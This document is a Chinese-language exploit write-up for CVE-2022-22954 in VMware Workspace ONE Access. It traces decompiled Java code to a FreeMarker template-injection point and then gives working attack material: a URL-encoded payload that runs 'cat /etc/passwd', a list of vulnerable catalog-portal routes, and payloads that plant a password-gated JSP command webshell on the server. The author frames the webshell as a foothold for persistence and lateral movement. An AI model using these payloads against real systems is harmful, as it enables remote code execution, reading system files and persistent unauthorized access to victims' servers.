CVE-2022-22954

代码分析

http://file.xipudata.com/?dir=/2_software/Vmware/Horizon8 下载好ova,使用vmware安装搭建,导入时添加下域名。 根据官方提供的临时修复脚本可以知道漏洞存在于 /opt/vmware/horizon/workspace/webapps/catalog-portal/WEB-INF/lib/endusercatalog-ui-1.0-SNAPSHOT-classes.jar 修复脚本中还提到了这个文件 查看该文件后发现存在eval,这是java freemarker的写法,用来把字符串当作ftl代码,所以我们只需要控制errorObj即可实现代码执行 所以我们知道漏洞来源于customError,我们需要找到可以到达customError的路由,并且可以控制errorObj 在UiErrorController.class中可以找到handleGenericError,可以传递errorObj,最后return到customError

    private String handleGenericError(final HttpServletRequest request, final HttpServletResponse response, final Map<String, Object> model, final boolean isAWJade, final boolean garnetAndAbove, final String excpClass, final int errorCode, final String errorMessage) {
        final String localizedMessageHeader = this.messages.getLocalizedErrorMessage("errorPage.errorHeading", request.getLocale(), (Object[])null);
        final String localizedMessage = this.messages.getLocalizedErrorMessage(this.getLocalizedMessageKey(excpClass), request.getLocale(), (Object[])null);
        if (errorCode != -1) {
            response.setStatus(errorCode);
        }
        model.put("errorObj", errorMessage);
        model.put("messageHeader", localizedMessageHeader);
        model.put("genericErrorMsg", localizedMessage);
        model.put("contextPath", request.getContextPath());
        if (isAWJade) {
            WebUtils.markCookiesForDeletion(request, response, new String[] { "USER_CATALOG_CONTEXT" });
            WebUtils.markCookiesForDeletionWithPath(request, response, "/catalog-portal", new String[] { "EUC_XSRF_TOKEN" });
            model.put("logoutPath", retrieveServerInitiatedLogoutPath(garnetAndAbove).getName());
        }
        else {
            final StringBuilder logoutUrl = new StringBuilder(request.getContextPath()).append("/ui").append("/logout");
            String queryStr = request.getQueryString();
            if (StringUtils.isNotBlank((CharSequence)queryStr)) {
                queryStr = UrlUtils.encodeQuery(UrlUtils.decode(queryStr));
                logoutUrl.append('?').append(queryStr);
            }
            model.put("logoutPath", logoutUrl.toString());
        }
        return "customError";
    }

所以我们继续往上找到getErrorPagehandleUnauthorizedError,调用了handleGenericError

getErrorPage

    private String getErrorPage(final HttpServletRequest request, final HttpServletResponse response, final Map<String, Object> model, final int errorCode, final String errorMessage, final String exClass) {
        final Exception exp = (request.getAttribute("javax.servlet.error.exception") instanceof Exception) ? ((Exception)request.getAttribute("javax.servlet.error.exception")) : null;
        final String userAgent = UserAgentResolver.resolveUserAgent(request.getHeader("User-Agent"), WebUtils.getCookie(request, "AWJADE"));
        this.logFor(errorCode, "Error reported is {} {} for forward {}", errorCode, errorMessage, request.getAttribute("javax.servlet.forward.request_uri"), exp);
        UiErrorController.LOGGER.info("The client user agent is : {}, the host is : {}, the referer is {}", new Object[] { userAgent, request.getHeader("Host"), request.getHeader("Referer") });
        final boolean isAWJade = UserAgentResolver.isNativeApp(userAgent);
        final boolean garnetAndAbove = UserAgentResolver.isGarnetAndAbove(userAgent);
        final String errorPage = Optional.of(errorCode).filter(this::isErrorTypeUnauthorized).map(errCd -> this.handleUnauthorizedError(request, response, model, isAWJade, garnetAndAbove, exClass, errCd, errorMessage)).orElseGet(() -> this.handleGenericError(request, response, model, isAWJade, garnetAndAbove, exClass, errorCode, errorMessage));
        return StringUtils.hasText(errorPage) ? errorPage : null;
    }

handleUnauthorizedError

        private String handleUnauthorizedError(final HttpServletRequest request, final HttpServletResponse response, final Map<String, Object> model, final boolean isAWJade, final boolean garnetAndAbove, final String excpClass, final int errorCode, final String errorMessage) {
        final String uiRequestId = Objects.nonNull(request.getAttribute("UI_REQUEST")) ? ((UiRequest)request.getAttribute("UI_REQUEST")).getRequestId() : null;
        if (isAWJade) {
            WebUtils.markCookiesForDeletion(request, response, new String[] { "USER_CATALOG_CONTEXT" });
            WebUtils.markCookiesForDeletionWithPath(request, response, "/catalog-portal", new String[] { "EUC_XSRF_TOKEN" });
            return Optional.ofNullable(excpClass).filter(this::isSpecificUnauthError).map(excepClass -> {
                this.sendRedirect(response, retrieveServerInitiatedLogoutPath(garnetAndAbove).getName(), uiRequestId);
                return "";
            }).orElseGet(() -> {
                this.sendRedirect(response, retrieveInvalidAccessTokenLogoutPath(garnetAndAbove).getName(), uiRequestId);
                return "";
            });
        }
        final String uiRequestId2;
        return Optional.ofNullable(excpClass).filter(this::isSpecificUnauthError).map(excepClass -> this.handleGenericError(request, response, model, isAWJade, garnetAndAbove, excpClass, errorCode, errorMessage)).orElseGet(() -> {
            WebUtils.markCookiesForDeletion(request, response, new String[] { "USER_CATALOG_CONTEXT", "HZN" });
            WebUtils.markCookiesForDeletionWithPath(request, response, "/catalog-portal", new String[] { "EUC_XSRF_TOKEN" });
            if (this.isMdmOnlyUnauthorizedAccessError(request, excpClass)) {
                return this.handleGenericError(request, response, model, isAWJade, garnetAndAbove, excpClass, errorCode, errorMessage);
            }
            else {
                this.sendRedirect(response, UrlUtils.buildUrlWithBaseAndPath(request, "/ui", this.urlScheme, this.urlPort, true), uiRequestId2);
                return "";
            }
        });
    }
    

我们先看第一个getErrorPage,有两条路由会到达getErrorPage,但是直接访问路由无法控制errorObj参数

    @RequestMapping({ "/ui/view/error" })
    @ApiOperation(value = "sendError", notes = "")
    public String sendError(final HttpServletRequest request, final HttpServletResponse response, final Map<String, Object> model) {
        final int errorCode = (int)request.getAttribute("javax.servlet.error.status_code");
        final String errorMessage = (String)request.getAttribute("javax.servlet.error.message");
        this.logFor(errorCode, "Error status code: {}, error message: {}", errorCode, errorMessage);
        final String exClass = (request.getAttribute("javax.servlet.error.exception_type") instanceof Class) ? ((Class)request.getAttribute("javax.servlet.error.exception_type")).getCanonicalName() : "";
        return this.getErrorPage(request, response, model, errorCode, errorMessage, exClass);
    }
    
    @RequestMapping({ "/error" })
    @ApiOperation(value = "sendUnhandledError", notes = "")
    public String sendUnhandledError(final HttpServletRequest request, final HttpServletResponse response, final Map<String, Object> model) {
        final int errorCode = (int)((request.getAttribute("javax.servlet.error.status_code") == null) ? -1 : request.getAttribute("javax.servlet.error.status_code"));
        final String errorMessage = (String)((request.getAttribute("javax.servlet.error.message") == null) ? "" : request.getAttribute("javax.servlet.error.message"));
        final String exClass = (request.getAttribute("javax.servlet.error.exception_type") instanceof Class) ? ((Class)request.getAttribute("javax.servlet.error.exception_type")).getCanonicalName() : "";
        final String errorObj = "{\"code\":\"" + errorCode + "\", \"message\":\"" + errorMessage + "\"}";
        return this.getErrorPage(request, response, model, errorCode, errorObj, exClass);
    }

所以还需要找到一个路由,可以控制errorObj参数,最终找到resolveException,可以控制且能够访问到/ui/view/error路由 这时候我们只需要找到触发异常的方法,控制errorObj即可,继续往上看,找到ExceptionHandler,这是一个处理异常的类,只要当程序抛出Exception异常就会进入handleAnyGenericException,最终到达/ui/view/error

  @ExceptionHandler({ Exception.class })
    public String handleAnyGenericException(final HttpServletRequest request, final Exception ex) {
        final UiRequest uiRequest = this.getUiRequest(request);
        final ResponseStatus responseStatus = (ResponseStatus)AnnotationUtils.findAnnotation((Class)ex.getClass(), (Class)ResponseStatus.class);
        String errorResponse;
        if (responseStatus == null) {
            errorResponse = this.resolveException(request, ex, uiRequest, "server.unexpected.error", HttpStatus.INTERNAL_SERVER_ERROR.value(), uiRequest.getRequestId());
        }
        else {
            final MsgKey msgKey = (MsgKey)AnnotationUtils.findAnnotation((Class)ex.getClass(), (Class)MsgKey.class);
            if (msgKey == null || !(ex instanceof LocalizationParamValueException)) {
                errorResponse = this.resolveException(request, ex, uiRequest, "server.unmapped.message", responseStatus.value().value(), uiRequest.getRequestId());
            }
            else {
                errorResponse = this.resolveException(request, ex, uiRequest, msgKey.value(), responseStatus.value().value(), ((LocalizationParamValueException)ex).getArgs());
            }
        }
        return errorResponse;
    }

查看下如何控制javax.servlet.error.message,是通过handleAnyGenericException中的(LocalizationParamValueException)ex).getArgs() 这是一个自身args属性,只需要控制抛出异常的参数,就可以把freemarker的payload传入errorObj 继续查看在com.vmware.endusercatalog.auth.interceptor.AuthContextPopulationInterceptor的preHandle中authContextBuilder的build方法会抛出异常 其中isValidRequest代码如下,只需要让deviceId和deviceType其中一个为空一个不为空,即可抛出异常。

  private boolean isValidRequest() {
        return this.isBrowserRequest() || this.isNativeAppRequestWithAuthToken();
    }
    
    public boolean isBrowserRequest() {
        return this.deviceId == null && this.deviceType == null;
    }
    
    public boolean isBrowserRequestWithAuthToken() {
        return this.isBrowserRequest() && this.hasAuthorizationToken();
    }
    
    public boolean isNativeAppRequestWithAuthToken() {
        return this.isRequestWithDeviceParams() && this.hasAuthorizationToken();
    }
    
    private boolean isRequestWithDeviceParams() {
        return this.deviceId != null && this.deviceType != null;
    }
    
    private boolean hasAuthorizationToken() {
        return this.authorizationToken != null;
    }

所以只需要传入deviceUdid或deviceType的任意一个参数,然后使用freemarker的可执行代码的恶意类即可。

攻击方式

其他路由,也可以触发该漏洞

/catalog-portal/ui/oauth/verify?error=&deviceUdid=%24%7b%22%66%72%65%65%6d%61%72%6b%65%72%2e%74%65%6d%70%6c%61%74%65%2e%75%74%69%6c%69%74%79%2e%45%78%65%63%75%74%65%22%3f%6e%65%77%28%29%28%22%63%61%74%20%2f%65%74%63%2f%70%61%73%73%77%64%22%29%7
GET /catalog-portal/ui?deviceType=
GET /catalog-portal/hub-ui?deviceType=
GET /catalog-portal/hub-ui/byob?deviceType=
GET /catalog-portal/ui/oauth/verify?deviceType=
GET /catalog-portal/ui/oauth/verify?deviceType=

可以命令执行了但是我们攻击时为了方便后续维权和横向,肯定要上webshell,通过如下语句即可写入内容。

文件落地webshell

${"freemarker.template.utility.ObjectConstructor"?new()("java.io.FileOutputStream","/opt/vmware/horizon/workspace/webapps/catalog-portal/shell.jsp").write("freemarker.template.utility.ObjectConstructor"?new()("java.lang.String","test").getBytes())}

写入webshell payload,记得url编码下

${"freemarker.template.utility.ObjectConstructor"?new()("java.io.FileOutputStream","/opt/vmware/horizon/workspace/webapps/catalog-portal/shell.jsp").write("freemarker.template.utility.ObjectConstructor"?new()("java.lang.String","<% if(\"023\".equals(request.getParameter(\"pwd\"))){ java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter(\"i\")).getInputStream(); int a = -1; byte[] b = new byte[2048]; out.print(\"<pre>\"); while((a=in.read(b))!=-1){ out.println(new String(b)); } out.print(\"</pre>\"); } %>").getBytes())}